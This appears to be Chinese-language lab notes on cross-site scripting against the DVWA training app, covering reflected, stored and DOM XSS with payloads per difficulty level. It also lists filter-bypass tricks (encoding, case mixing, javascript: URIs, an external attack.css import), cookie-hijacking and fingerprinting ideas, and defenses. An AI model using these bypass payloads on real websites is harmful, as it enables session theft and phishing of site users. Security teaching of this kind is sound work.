========== 實驗環境 ==========
Windows Server 2018 R2
DVWA
========== 實驗環境 ==========
XSS攻擊,指黑客利用網站漏洞把惡意的腳本代碼(通常包括HTML代碼和JS腳本)注入到網頁中,當用戶瀏覽網頁時,就會執行其中的惡意代碼(控制用戶瀏覽器),對受害用戶採取Cookie數據竊取、會話劫持、釣魚欺騙等各種攻擊。
它對Web伺服器沒有直接危害,藉助網站進行傳播,使網站的用戶受到攻擊。
攻擊者一般通過留言、電子郵件或其他途徑向受害用戶發送一個惡意的URL,當惡意URL被用戶觸發時,惡意腳本就會在受害者的計算機上執行。
造成XSS攻擊的因素?
XSS漏洞的危害
攻擊者通過注入如alert(/xss/)之類的JS代碼來證明XSS漏洞的存在性,但沒有真實地反映其危害性!
反射型XXS(非持久型XSS,一次性):主要用於將惡意腳本附加到URL地址參數中。
攻擊者通過特定的手法,比如利用電子郵件,誘使用戶去訪問一個包含惡意代碼的URL,當受害者觸發時,惡意JS代碼會直接在受害者主機上的瀏覽器執行。特點是,只在用戶觸發的時候,執行一次!
流程:
通常出現在網站的搜索欄,用戶登入口,用來竊取客戶端Cookie或進行釣魚欺騙。
POC:
<sCr<scrscRiptipt>ipt>OonN'"<>
過濾掉了<sCr<scrscRiptipt>OonN'"<>
DVWA
low:
過濾掉了<sCr<scrscRiptipt>,其他沒有過濾!
源碼:
構造:
<input onfocus=alert(/xss/) autofocus>
成功:
medium:
源碼:
也只進行了<script>過濾,替換了成空!攻擊手段同low一樣!
<input onfocus=alert(/xss/) autofocus>
high:
impossible:
結論:
使用php中的htmlspecialchars函數把預定義的字符&、」、 』、<、>轉換為 HTML 實體,
防止瀏覽器將其作為HTML元素!
存儲型XSS:也叫持久型跨站腳本,攻擊者事先將惡意JS代碼上傳或存儲到漏洞伺服器中,只要瀏覽包含惡意JS代碼的頁面就會被執行。
持久型XSS一般出現在網站的留言、評論等交互處,惡意腳本被存儲到客戶端或者伺服器的資料庫中,當用戶瀏覽該網頁時,伺服器從資料庫中讀取惡意用戶存入的非法數據,然後顯示在頁面中,在受害者電腦上的瀏覽器執行惡意代碼。它不需要用戶去單擊URL進行觸發,可以利用它滲透網站,掛馬,釣魚......
利用此XSS還能編寫XSS蠕蟲,能夠在網站中實現病毒的幾何數級傳播!XSS蠕蟲會直接影響網站的所有用戶,一個地方出現XSS漏洞,網站下的所有用戶都有可能被攻擊。
low:
<sCr<scrscRiptipt>ipt>OonN'"<>
<script>alert(/xss/)</script>
medium:
<sc<script>ript>alert(/xss/)</script>
high:
<img src=1 onerror=alert(/xss/)>
impossible:
Message: <sCr<scrscRiptipt>ipt>OonN\'\"<>
通過使用htmlspecialchars函數,解決了XSS,但是要注意的是,如果htmlspecialchars函數使用不當,攻擊者就可以通過編碼的方式繞過函數進行XSS注入,尤其是DOM型的XSS。
DOM型XSS:通過修改頁面的DOM節點形成的XSS,並不會將payload上傳到伺服器,沒有與伺服器端進行交互,如果DOM中的數據沒有經過嚴格確認,就會產生DOM—based XSS漏洞
可能觸發DOM型XSS的屬性
document.referer
window.name
location
innerHTML
documen.write
low:
查看頁面原始碼:
document屬於window 的一個子對象
window.location 包含 href 屬性,直接取值賦值時相當於 window.location.href
window.location.href 當前頁面完整 URL
document.location 包含 href 屬性,直接取值賦值時相當於 document.location.href
document.location.href 當前頁面完整 URL
decodeURI() 函數可對 encodeURI() 函數編碼過的 URI 進行解碼
插入的 javascript 代碼可以在 decodeURL(lang) 被執行
http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?default=English<script>alert(/xss/)</script>
meduim:
查看伺服器端源碼:
array_key_exists() 函數檢查某個數組中是否存在指定的鍵名,如果鍵名存在則返回 true,如果鍵名不存在則返回 false。
stripos() 函數查找字符串在另一字符串中第一次出現的位置(不區分大小寫)
header() 函數向客戶端發送原始的 HTTP 報頭
結論:Medium 級別過濾了 <script>
構造:
http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?default=English</option></select><img src=1 onerror=alert(/xss/)>
high:
源碼:
# ok
http://192.168.10.128/DVWA-master/vulnerabilities/xss_d/?default=English #<script>alert(/xss/)</script>
impossible:
輸入的參數都進行了URL編碼!
攻擊:
Cookie劫持和欺騙
注意:詳細過程,請參考<<Web滲透測試(XSS)>>!
防禦:
Set-Cookie時給關鍵字Cookie植入HttpOnly標識!
Cookie與客戶端的IP位址綁定!
攻擊:模擬GET,POST請求操作用戶的瀏覽器
防禦:提交表單的時候要求用戶輸入驗證碼
"修改密碼"的功能中,要求用戶輸入舊密碼!
繞過:
對於驗證碼,XSS Payload可以通過讀取頁面內容,將驗證碼的圖片URL發送到遠程伺服器上來實施(遠程XSS後臺接收當前的驗證碼),將驗證碼的值返回給當前的XSS Payload,從而繞過驗證碼。
修改密碼,可以通過釣魚網站來偽造獲取舊密碼!
攻擊:識別用戶瀏覽器(UserAgent對象)
但瀏覽器的UserAgent對象可以偽造,瀏覽器的好多擴展都可以自定義瀏覽器的UserAgent,所以獲取到的信息不一定準確。但由於瀏覽器之間實現存在差異,通過這些差異可以準確地判斷出瀏覽器版本。(通過代碼實現)
攻擊:識別用戶安裝的軟體
IE中,通過判斷ActiveX控制項的classid是否存在,來推測用戶是否安裝了該軟體。通過判斷用戶安裝的軟體,選擇對應的瀏覽器漏洞,來植入木馬的目的。
攻擊:識別瀏覽器的擴展和插件
firefox的插件列表存放在一個DOM對象中,通過查詢DOM對象可以遍歷出所有的插件。查詢navigator.plugins對象!
firefox的擴展,通過圖標來判斷是否存在。
通過CSS,發現用戶曾經訪問過的網站,style的visited屬性!
獲取用戶的真實IP位址:
比如客戶端安裝了Java環境,XSS可以調用Java Applet接口來獲取客戶端的本地IP位址。
ActiveX
Flash
iTunes
office Word
QuickTime
...等等第三方軟體的功能,來抓取用戶的本地信息。
XSS Cheat Sheet:
在測試XSS的過程中,需要嘗試各種XSS輸入,來繞過伺服器端程序對跨站腳本的過濾,如果有一份待測試的XSS語句列表會方便很多。
XSS語句列表羅列出各種各樣的XSS代碼,代碼在不同的瀏覽器、不同的應用場景、不同的環境下均有跨站觸發的可能。通常,此類列表被稱為Cheat Sheet!
https://portswigger.net/web-security/cross-site-scripting/cheat-sheet
<a onblur=alert(1) tabindex=1 id=x></a><input autofocus>
......
XSS構造:
繞過XSS-filter
XSS-filter一般基於黑白名單的安全過濾策略(攔截、編碼和消毒過濾等處理),實際上是一段編寫額過濾函數。
過濾和轉義<>和<script>
Javascript:[code]偽協議的形式,它聲明了URL的主體是任意的JS代碼,由JS的解釋器運行
<img src="javascript:alert('xss');">
註:不是所有標記的屬性值都能產生XSS,通常只有引用文件的屬性才能觸發XSS腳本
href/lowsrc/bgsound/background/value/action/dynsrc ......
過濾JavaScript等關鍵字
<img src="javas cript:alert(/xss/)" width=100 height=100> // tab
JS通常以分號結尾,如果JS引擎確認一個語句是完整的,而這一行的結尾有換行符,那麼就可以省略分號:
var name = "tony"var age= 18;
var name="tony wenxin";var age=18;
除了在引號中分隔單詞或強制結束語句之外,額外的空白無論以何種方式添加都無所謂!
var name="tony";// JS引擎沒有把換行符解釋為語句的終止符,因為到換行處並不是一個完整的語句,會繼續處理發現的內容// 直到遇到一個分號或發現語句完整為止
繞過過濾:
<img src="javascript:alert(/xss/)" width=100 height=100 >
對普通的HTML標記的屬性值進行過濾,用戶還是可以通過編碼處理來繞過,因為HTML中屬性值本身支持ASCII碼形式。
<img src="javascript:alert(/xss/);">
<img src="javascript:alert(/xss/);"> // t:116 t //: 58 :
另外,tab符的ASCII碼 、換行符 、回車符 可以被插入到代碼中的任意位置!
onerror
onclick
......
<img src="#" onerror=alert(/xss/)>
<div style="background-image:url(javascript:alert('/xss/'))">
對style屬性進行過濾!
CSS的引入:
<link rel="stylesheet" href="http://www.baidu.com/attack.css">
<style type="text/css">@import url(http://www.baidu.com/attack.css);</style> // attack.css .executeCSS{ event:expression( onload = function(){alert(/xss/);} ) }
@import 'javascript:alert(/xss/)';
過濾expression/javascript/import字符
大小寫轉換
大小寫混淆
使用單引號
不使用引號
利用編碼工具,把字符編碼為十進位或十六進位進行替換!
j // 十進位a // 十六進位
JS還支持unicode、escapes、八進位等編碼形式!
shellcode調用方式:
http://www.tong.com?index.php?name=[]
注意:具體實操在之前文章已有涉及,這裡只涉及利用手段!
輸入過濾:(輸入是否合法,長度限制,格式,過濾敏感字符等等)
輸出過濾:(編碼處理,如HTML實體)
......